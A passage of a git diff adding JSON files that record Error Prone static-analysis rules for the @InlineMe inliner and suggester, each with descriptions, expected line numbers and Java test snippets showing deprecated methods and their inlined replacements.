something() {\n A.Inner.foo();\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.something();\n }\n }\n \n\n import com.google.A;\n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n A.Inner.foo();\n }\n }" + }, + { + "description": "instanceMethod_withConflictingMethodNameAndParameterName", + "expected-problems": null, + "expected-linenumbers": [ + 433 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n private long deadline = 5000;\n\n @Deprecated\n @InlineMe(replacement = \"this.millis(millis)\")\n public void setDeadline(long millis) {\n millis(millis);\n }\n\n public void millis(long millis) {\n this.deadline = millis;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.setDeadline(42);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.millis(42);\n }\n }" + }, + { + "description": "staticMethod_withStaticImport_withImport", + "expected-problems": null, + "expected-linenumbers": [ + 479 + ], + "code": "package com.google.test;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(\n replacement = \"Client.after(value)\",\n imports = {\"com.google.test.Client\"})\n public static void before(int value) {\n after(value);\n }\n\n public static void after(int value) {}\n }\n \n\n import static com.google.test.Client.before;\n\n public final class Caller {\n public void doTest() {\n before(42);\n }\n }\n \n\n import static com.google.test.Client.before;\n import com.google.test.Client;\n\n public final class Caller {\n public void doTest() {\n Client.after(42);\n }\n }" + }, + { + "description": "staticMethod_withStaticImport_withStaticImportReplacement", + "expected-problems": null, + "expected-linenumbers": [ + 531 + ], + "code": "package com.google.test;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(\n replacement = \"after(value)\",\n staticImports = {\"com.google.test.Client.after\"})\n public static void before(int value) {\n after(value);\n }\n\n public static void after(int value) {}\n }\n \n\n import static com.google.test.Client.before;\n\n public final class Caller {\n public void doTest() {\n before(42);\n }\n }\n \n\n import static com.google.test.Client.after;\n import static com.google.test.Client.before;\n\n public final class Caller {\n public void doTest() {\n after(42);\n }\n }" + }, + { + "description": "instanceMethodCalledBySubtype", + "expected-problems": null, + "expected-linenumbers": [ + 580 + ], + "code": "package com.google.test;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public class Parent {\n @Deprecated\n @InlineMe(\n replacement = \"this.after(Duration.ofMillis(value))\",\n imports = {\"java.time.Duration\"})\n protected final void before(int value) {\n after(Duration.ofMillis(value));\n }\n\n protected void after(Duration value) {}\n }\n \n\n package com.google.test;\n\n public final class Child extends Parent {\n public void doTest() {\n before(42);\n }\n }\n \n\n package com.google.test;\n\n import java.time.Duration;\n\n public final class Child extends Parent {\n public void doTest() {\n after(Duration.ofMillis(42));\n }\n }" + }, + { + "description": "constructorCalledBySubtype", + "expected-problems": null, + "expected-linenumbers": [ + 631 + ], + "code": "package com.google.test;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public class Parent {\n @Deprecated\n @InlineMe(\n replacement = \"this(Duration.ofMillis(value))\",\n imports = {\"java.time.Duration\"})\n protected Parent(int value) {\n this(Duration.ofMillis(value));\n }\n\n protected Parent(Duration value) {}\n }\n \n\n package com.google.test;\n\n public final class Child extends Parent {\n public Child() {\n super(42);\n }\n }\n \n\n package com.google.test;\n\n import java.time.Duration;\n\n public final class Child extends Parent {\n public Child() {\n super(Duration.ofMillis(42));\n }\n }" + }, + { + "description": "fluentMethodChain", + "expected-problems": null, + "expected-linenumbers": [ + 682 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.baz()\")\n public Client foo() {\n return baz();\n }\n\n @Deprecated\n @InlineMe(replacement = \"this.baz()\")\n public Client bar() {\n return baz();\n }\n\n public Client baz() {\n return this;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client().foo().bar();\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client().baz().baz();\n }\n }" + }, + { + "description": "inliningWithField", + "expected-problems": null, + "expected-linenumbers": [ + 730 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n @Deprecated\n @InlineMe(\n replacement = \"this.setTimeout(Duration.ZERO)\",\n imports = {\"java.time.Duration\"})\n public void clearTimeout() {\n setTimeout(Duration.ZERO);\n }\n\n public void setTimeout(Duration timeout) {}\n }\n \n\n public final class Caller {\n public void doTest() {\n new Client().clearTimeout();\n }\n }\n \n\n import java.time.Duration;\n\n public final class Caller {\n public void doTest() {\n new Client().setTimeout(Duration.ZERO);\n }\n }" + }, + { + "description": "returnThis", + "expected-problems": null, + "expected-linenumbers": [ + 775 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this\")\n public Client noOp() {\n return this;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client = client.noOp();\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client = client;\n }\n }" + }, + { + "description": "returnThis_preChained", + "expected-problems": null, + "expected-linenumbers": [ + 815 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this\")\n public Client noOp() {\n return this;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client().noOp();\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n }\n }" + }, + { + "description": "returnThis_postChained", + "expected-problems": null, + "expected-linenumbers": [ + 853 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this\")\n public Client noOp() {\n return this;\n }\n\n public void bar() {}\n }\n \n\n public final class Caller {\n public void doTest() {\n new Client().noOp().bar();\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n new Client().bar();\n }\n }" + }, + { + "description": "returnThis_alone", + "expected-problems": null, + "expected-linenumbers": [ + 893 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this\")\n public Client noOp() {\n return this;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.noOp();\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n }\n }" + }, + { + "description": "inlineUnvalidatedInline", + "expected-problems": null, + "expected-linenumbers": [ + 932 + ], + "code": "import foo.Client;\n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n }\n }\n \n\n import foo.Client;\n\n public final class Caller {\n public void doTest() {\n Client client = Client.create();\n }\n }" + }, + { + "description": "inlineUnvalidatedInlineMessage", + "expected-problems": null, + "expected-linenumbers": [ + 976 + ], + "code": "import foo.Client;\n\npublic final class Caller {\n public void doTest() {\n // BUG: Diagnostic contains: NOTE: this is an unvalidated inlining! Reasoning: Migrating to\n // factory method\n Client client = new Client();\n }\n}" + }, + { + "description": "varargs", + "expected-problems": null, + "expected-linenumbers": [ + 1010 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after(inputs)\")\n public void before(int... inputs) {\n after(inputs);\n }\n\n public void after(int... inputs) {}\n\n @Deprecated\n @InlineMe(replacement = \"this.after(inputs)\")\n public void extraBefore(int first, int... inputs) {\n after(inputs);\n }\n\n @Deprecated\n @InlineMe(replacement = \"this.after(first)\")\n public void ignoreVarargs(int first, int... inputs) {\n after(first);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.before(1);\n client.before();\n client.before(1, 2, 3);\n client.extraBefore(42, 1);\n client.extraBefore(42);\n client.extraBefore(42, 1, 2, 3);\n client.ignoreVarargs(42, 1);\n client.ignoreVarargs(42);\n client.ignoreVarargs(42, 1, 2, 3);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.after(1);\n client.after();\n client.after(1, 2, 3);\n client.after(1);\n client.after();\n client.after(1, 2, 3);\n client.after(42);\n client.after(42);\n client.after(42);\n }\n }" + }, + { + "description": "varargsWithPrecedingElements", + "expected-problems": null, + "expected-linenumbers": [ + 1080 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after(first, inputs)\")\n public void before(int first, int... inputs) {\n after(first, inputs);\n }\n\n public void after(int first, int... inputs) {}\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.before(1);\n client.before(1, 2, 3);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.after(1);\n client.after(1, 2, 3);\n }\n }" + }, + { + "description": "replaceWithJustParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1124 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"x\")\n public final int identity(int x) {\n return x;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = client.identity(42);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = 42;\n }\n }" + }, + { + "description": "orderOfOperations", + "expected-problems": null, + "expected-linenumbers": [ + 1166 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"x * y\")\n public int multiply(int x, int y) {\n return x * y;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = client.multiply(5, 10);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = 5 * 10;\n }\n }" + }, + { + "description": "orderOfOperationsWithParamAddition", + "expected-problems": null, + "expected-linenumbers": [ + 1206 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"x * y\")\n public int multiply(int x, int y) {\n return x * y;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = client.multiply(5 + 3, 10);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = (5 + 3) * 10;\n }\n }" + }, + { + "description": "orderOfOperationsWhenInliningAddition", + "expected-problems": null, + "expected-linenumbers": [ + 1246 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"x + y\")\n public int add(int x, int y) {\n return x + y;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = client.add(1, 2) * 3;\n int y = client.add(1, 2) + 3;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = (1 + 2) * 3;\n int y = 1 + 2 + 3;\n }\n }" + }, + { + "description": "orderOfOperationsWhenInliningCasts", + "expected-problems": null, + "expected-linenumbers": [ + 1288 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"(int) x\")\n public int cast(long x) {\n return (int) x;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = client.cast(1) * 10;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = (int) 1 * 10;\n }\n }" + }, + { + "description": "orderOfOperationsWithTrailingOperand", + "expected-problems": null, + "expected-linenumbers": [ + 1328 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"x * y\")\n public int multiply(int x, int y) {\n return x * y;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = client.multiply(5 + 3, 10) * 5;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n int x = (5 + 3) * 10 * 5;\n }\n }" + }, + { + "description": "booleanParameterWithInlineComment", + "expected-problems": null, + "expected-linenumbers": [ + 1368 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(/* isAdmin = */ isAdmin)\")\n @Deprecated\n public void before(boolean isAdmin) {\n after(/* isAdmin= */ isAdmin);\n }\n\n public void after(boolean isAdmin) {}\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.before(false);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.after(/* isAdmin= */ false);\n }\n }" + }, + { + "description": "trailingSemicolon", + "expected-problems": null, + "expected-linenumbers": [ + 1410 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(/* foo= */ isAdmin)\")\n @Deprecated\n public boolean before(boolean isAdmin) {\n return after(/* foo= */ isAdmin);\n }\n\n public boolean after(boolean isAdmin) {\n return isAdmin;\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n boolean x = (client.before(false) || true);\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n boolean x = (client.after(/* false= */ false) || true);\n }\n }" + }, + { + "description": "customInlineMe", + "expected-problems": null, + "expected-linenumbers": [ + 1454 + ], + "code": "package bespoke;\n\n public @interface InlineMe {\n String replacement();\n\n String[] imports() default {};\n\n String[] staticImports() default {};\n }\n \n\n import bespoke.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.foo2(value)\")\n public void foo1(String value) {\n foo2(value);\n }\n\n public void foo2(String value) {}\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.foo1(\"frobber!\");\n client.foo1(\"don't change this!\");\n }\n }\n \n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n client.foo2(\"frobber!\");\n client.foo2(\"don't change this!\");\n }\n }" + }, + { + "description": "varArgs", + "expected-problems": null, + "expected-linenumbers": [ + 1513 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(\n replacement = \"Client.execute2(format, args)\",\n imports = {\"com.google.foo.Client\"})\n public static void execute1(String format, Object... args) {\n execute2(format, args);\n }\n\n public static void execute2(String format, Object... args) {\n // do nothing\n }\n }\n \n\n import com.google.foo.Client;\n\n public final class Caller {\n public void doTest() {\n Client.execute1(\"hi %s\");\n }\n }\n \n\n import com.google.foo.Client;\n\n public final class Caller {\n public void doTest() {\n Client.execute2(\"hi %s\");\n }\n }" + }, + { + "description": "paramCast", + "expected-problems": null, + "expected-linenumbers": [ + 1563 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(\n replacement = \"Client.after(value.doubleValue())\",\n imports = {\"com.google.foo.Client\"})\n public static void before(Long value) {\n after(value.doubleValue());\n }\n\n public static void after(double value) {\n // do nothing\n }\n }\n \n\n import com.google.foo.Client;\n\n public final class Caller {\n public void doTest() {\n Object value = 42L;\n Client.before((Long) value);\n }\n }" + }, + { + "description": "replacementWhichRequiresParens", + "expected-problems": null, + "expected-linenumbers": [ + 1613 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"x * 2\")\n public static int timesTwo(int x) {\n return x * 2;\n }\n }\n \n\n import com.google.foo.Client;\n\n public final class Caller {\n public void doTest() {\n long four = Client.timesTwo(1 + 1);\n }\n }\n \n\n import com.google.foo.Client;\n\n public final class Caller {\n public void doTest() {\n long four = (1 + 1) * 2;\n }\n }" + }, + { + "description": "inlinerReplacesParameterValueInPackageName", + "expected-problems": null, + "expected-linenumbers": [ + 1659 + ], + "code": "package foo;\n\n public class Bar {\n public static void baz(String s) {}\n }\n \n\n import com.google.errorprone.annotations.InlineMe;\n import foo.Bar;\n\n public class Client {\n @InlineMe(replacement = \"Bar.baz(foo)\", imports = \"foo.Bar\")\n public static void inlinedMethod(String foo) {\n Bar.baz(foo);\n }\n }\n \n\n class Caller {\n class Bar {}\n\n void doTest() {\n Client.inlinedMethod(\"abc\");\n }\n }\n \n\n class Caller {\n class Bar {}\n\n void doTest() {\n foo.Bar.baz(\"abc\");\n }\n }" + }, + { + "description": "methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 1711 + ], + "code": "package p;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.instanceAfter()\")\n public void instanceBefore() {\n instanceAfter();\n }\n\n public void instanceAfter() {}\n }\n \n\n import java.util.function.Consumer;\n import p.Client;\n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n Consumer c;\n Runnable r;\n r = client::instanceBefore;\n c = Client::instanceBefore;\n }\n }\n \n\n import java.util.function.Consumer;\n import p.Client;\n\n public final class Caller {\n public void doTest() {\n Client client = new Client();\n Consumer c;\n Runnable r;\n r = client::instanceAfter;\n c = Client::instanceAfter;\n }\n }" + }, + { + "description": "variableNamesInSubstitutionCollidesWithParameterName", + "expected-problems": null, + "expected-linenumbers": [ + 1768 + ], + "code": "package com.google.foo;\n\n import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(\n replacement = \"new Client(a, b)\",\n imports = {\"com.google.foo.Client\"})\n @Deprecated\n public static Client create(String a, ImmutableList b) {\n return new Client(a, b);\n }\n\n public Client(String a, ImmutableList b) {}\n }\n \n\n package com.google.foo;\n\n import com.google.common.collect.ImmutableList;\n\n public final class Caller {\n public void doTest() {\n ImmutableList b = ImmutableList.of(\"foo\", \"bar\");\n Client client = Client.create(b.get(0), b.size() == 1 ? ImmutableList.of() : b);\n }\n }\n \n\n package com.google.foo;\n\n import com.google.common.collect.ImmutableList;\n\n public final class Caller {\n public void doTest() {\n ImmutableList b = ImmutableList.of(\"foo\", \"bar\");\n Client client = new Client(b.get(0), b.size() == 1 ? ImmutableList.of() : b);\n }\n }" + }, + { + "description": "binaryTree_immediatelyInvoked_requiresParens", + "expected-problems": null, + "expected-linenumbers": [ + 1834 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Strings {\n @InlineMe(replacement = \"string.repeat(count)\")\n public static String repeat(String string, int count) {\n return string.repeat(count);\n }\n }\n \n\n class Test {\n void test() {\n String s = Strings.repeat(\"a\" + \"b\", 10);\n }\n }\n \n\n class Test {\n void test() {\n String s = (\"a\" + \"b\").repeat(10);\n }\n }" + }, + { + "description": "variousInlinings_doesNotAddParensWithinMethodCall", + "expected-problems": null, + "expected-linenumbers": [ + 1871 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Strings {\n @InlineMe(replacement = \"String.format(\\\\\"%s%s%s\\\\\", x, y, z)\")\n public static String f(String x, String y, String z) {\n return String.format(\"%s%s%s\", x, y, z);\n }\n }\n \n\n class Test {\n void test() {\n String s = Strings.f(\"a\" + \"b\", \"c\" + \"d\", \"e\" + \"f\");\n }\n }\n \n\n class Test {\n void test() {\n String s = String.format(\"%s%s%s\", \"a\" + \"b\", \"c\" + \"d\", \"e\" + \"f\");\n }\n }" + }, + { + "description": "inlinedCodeRequiresParens", + "expected-problems": null, + "expected-linenumbers": [ + 1909 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class I {\n @InlineMe(replacement = \"foo + \\\\\"b\\\\\"\")\n public static String ab(String foo) {\n return foo + \"b\";\n }\n }\n \n\n class Test {\n void test(String x) {\n String abn = I.ab(x).repeat(10);\n }\n }\n \n\n class Test {\n void test(String x) {\n String abn = (x + \"b\").repeat(10);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Suggester.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Suggester.json new file mode 100644 index 0000000..ccccbb3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Suggester.json @@ -0,0 +1,350 @@ +{ + "name": "Suggester", + "language": "java", + "description": "This deprecated API looks inlineable. If you'd like the body of the API to be automatically inlined to its callers, please annotate it with @InlineMe. NOTE: the suggested fix makes the method final if it was not already.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 11, + "apis": 2, + "test": [ + { + "description": "buildAnnotation_withImports", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "" + }, + { + "description": "buildAnnotation_withSingleImport", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "" + }, + { + "description": "instanceMethodNewImport", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n private Duration deadline = Duration.ofSeconds(5);\n\n @Deprecated\n public void setDeadline(long millis) {\n setDeadline(Duration.ofMillis(millis));\n }\n\n public void setDeadline(Duration deadline) {\n this.deadline = deadline;\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n private Duration deadline = Duration.ofSeconds(5);\n\n @InlineMe(\n replacement = \"this.setDeadline(Duration.ofMillis(millis))\",\n imports = \"java.time.Duration\")\n @Deprecated\n public void setDeadline(long millis) {\n setDeadline(Duration.ofMillis(millis));\n }\n\n public void setDeadline(Duration deadline) {\n this.deadline = deadline;\n }\n }" + }, + { + "description": "staticMethodInNewClass", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n @Deprecated\n public Duration fromMillis(long millis) {\n return Duration.ofMillis(millis);\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n @InlineMe(replacement = \"Duration.ofMillis(millis)\", imports = \"java.time.Duration\")\n @Deprecated\n public Duration fromMillis(long millis) {\n return Duration.ofMillis(millis);\n }\n }" + }, + { + "description": "unqualifiedStaticFieldReference", + "expected-problems": null, + "expected-linenumbers": [ + 144 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public static final String STR = \"kurt\";\n\n @Deprecated\n public int stringLength() {\n return STR.length();\n }\n }" + }, + { + "description": "qualifiedStaticFieldReference", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public static final String STR = \"kurt\";\n\n @Deprecated\n public int stringLength() {\n return Client.STR.length();\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n public static final String STR = \"kurt\";\n\n @InlineMe(replacement = \"Client.STR.length()\", imports = \"com.google.frobber.Client\")\n @Deprecated\n public int stringLength() {\n return Client.STR.length();\n }\n }" + }, + { + "description": "protectedConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 217 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n @Deprecated\n protected Client() {}\n }" + }, + { + "description": "returnField", + "expected-problems": null, + "expected-linenumbers": [ + 235 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n @Deprecated\n public Duration getZero() {\n return Duration.ZERO;\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n @InlineMe(replacement = \"Duration.ZERO\", imports = \"java.time.Duration\")\n @Deprecated\n public Duration getZero() {\n return Duration.ZERO;\n }\n }" + }, + { + "description": "implementationSplitOverMultipleLines", + "expected-problems": null, + "expected-linenumbers": [ + 273 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n import java.time.Instant;\n\n public final class Client {\n @Deprecated\n public Duration getElapsed() {\n return Duration.between(Instant.ofEpochMilli(42), Instant.now());\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n import java.time.Instant;\n\n public final class Client {\n @InlineMe(\n replacement = \"Duration.between(Instant.ofEpochMilli(42), Instant.now())\",\n imports = {\"java.time.Duration\", \"java.time.Instant\"})\n @Deprecated\n public Duration getElapsed() {\n return Duration.between(Instant.ofEpochMilli(42), Instant.now());\n }\n }" + }, + { + "description": "anonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 315 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n @Deprecated\n public Object getUselessObject() {\n return new Object() {\n @Override\n public int hashCode() {\n return 42;\n }\n };\n }\n }" + }, + { + "description": "methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 340 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n import java.util.Optional;\n\n public final class Client {\n @Deprecated\n public Optional silly(Optional input) {\n return input.map(Duration::ofMillis);\n }\n }\n\n \n\npackage com.google.frobber;\n\nimport com.google.errorprone.annotations.InlineMe;\nimport java.time.Duration;\nimport java.util.Optional;\n\npublic final class Client {\n @InlineMe(replacement = \"input.map(Duration::ofMillis)\", imports = \"java.time.Duration\")\n @Deprecated\n public Optional silly(Optional input) {\n return input.map(Duration::ofMillis);\n }\n}" + }, + { + "description": "newClass", + "expected-problems": null, + "expected-linenumbers": [ + 380 + ], + "code": "package com.google.frobber;\n\n import org.joda.time.Instant;\n\n public final class Client {\n @Deprecated\n public Instant silly() {\n return new Instant();\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import org.joda.time.Instant;\n\n public final class Client {\n @InlineMe(replacement = \"new Instant()\", imports = \"org.joda.time.Instant\")\n @Deprecated\n public Instant silly() {\n return new Instant();\n }\n }" + }, + { + "description": "newArray", + "expected-problems": null, + "expected-linenumbers": [ + 418 + ], + "code": "package com.google.frobber;\n\n import org.joda.time.Instant;\n\n public final class Client {\n @Deprecated\n public Instant[] silly() {\n return new Instant[42];\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import org.joda.time.Instant;\n\n public final class Client {\n @InlineMe(replacement = \"new Instant[42]\", imports = \"org.joda.time.Instant\")\n @Deprecated\n public Instant[] silly() {\n return new Instant[42];\n }\n }" + }, + { + "description": "newNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 456 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n @Deprecated\n public NestedClass silly() {\n return new NestedClass();\n }\n\n public static class NestedClass {}\n }\n\n \n\npackage com.google.frobber;\n\nimport com.google.errorprone.annotations.InlineMe;\n\npublic final class Client {\n @InlineMe(replacement = \"new NestedClass()\", imports = \"com.google.frobber.Client.NestedClass\")\n @Deprecated\n public NestedClass silly() {\n return new NestedClass();\n }\n\n public static class NestedClass {}\n}" + }, + { + "description": "returnStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 495 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n @Deprecated\n public String getName() {\n return \"kurt\";\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"\\\\\"kurt\\\\\"\")\n @Deprecated\n public String getName() {\n return \"kurt\";\n }\n }" + }, + { + "description": "callMethodWithStringLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 530 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n @Deprecated\n public String getName() {\n return getName(\"kurt\");\n }\n\n public String getName(String defaultValue) {\n return \"test\";\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.getName(\\\\\"kurt\\\\\")\")\n @Deprecated\n public String getName() {\n return getName(\"kurt\");\n }\n\n public String getName(String defaultValue) {\n return \"test\";\n }\n }" + }, + { + "description": "returnPrivateVariable", + "expected-problems": null, + "expected-linenumbers": [ + 573 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n private final Duration myDuration = Duration.ZERO;\n\n @Deprecated\n public Duration getMyDuration() {\n return myDuration;\n }\n }" + }, + { + "description": "returnPrivateVariable_qualifiedWithThis", + "expected-problems": null, + "expected-linenumbers": [ + 597 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n private final Duration myDuration = Duration.ZERO;\n\n @Deprecated\n public Duration getMyDuration() {\n return this.myDuration;\n }\n }" + }, + { + "description": "settingPrivateVariable", + "expected-problems": null, + "expected-linenumbers": [ + 621 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n private Duration duration = Duration.ZERO;\n\n @Deprecated\n public void setDuration(Duration duration) {\n this.duration = duration;\n }\n }" + }, + { + "description": "delegateToParentClass", + "expected-problems": null, + "expected-linenumbers": [ + 645 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public class Parent {\n private Duration duration = Duration.ZERO;\n\n public final Duration after() {\n return duration;\n }\n }\n\n \n\n package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client extends Parent {\n private Duration duration = Duration.ZERO;\n\n @Deprecated\n public final Duration before() {\n return after();\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client extends Parent {\n private Duration duration = Duration.ZERO;\n\n @InlineMe(replacement = \"this.after()\")\n @Deprecated\n public final Duration before() {\n return after();\n }\n }" + }, + { + "description": "withCast", + "expected-problems": null, + "expected-linenumbers": [ + 704 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n @Deprecated\n public void setDuration(Object duration) {\n foo((Duration) duration);\n }\n\n public void foo(Duration duration) {}\n }\n\n \n\npackage com.google.frobber;\n\nimport com.google.errorprone.annotations.InlineMe;\nimport java.time.Duration;\n\npublic final class Client {\n @InlineMe(replacement = \"this.foo((Duration) duration)\", imports = \"java.time.Duration\")\n @Deprecated\n public void setDuration(Object duration) {\n foo((Duration) duration);\n 